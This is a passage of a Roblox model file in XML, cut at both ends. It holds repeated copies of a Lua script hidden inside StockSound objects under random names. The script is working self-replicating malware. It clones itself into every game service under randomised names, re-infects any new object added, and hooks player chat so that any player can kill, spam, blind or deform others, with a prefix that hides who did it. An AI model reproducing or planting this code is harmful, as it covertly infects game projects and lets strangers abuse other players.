local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="IntValue" referent="RBX903">
					<Properties>
						<string name="Name">Enabled</string>
						<int name="Value">1</int>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX904">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">48vvcokrc</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX905">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">k27vhku5j</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX906">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">szj3xvj4q</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX907">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">marwonak</string>
							<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
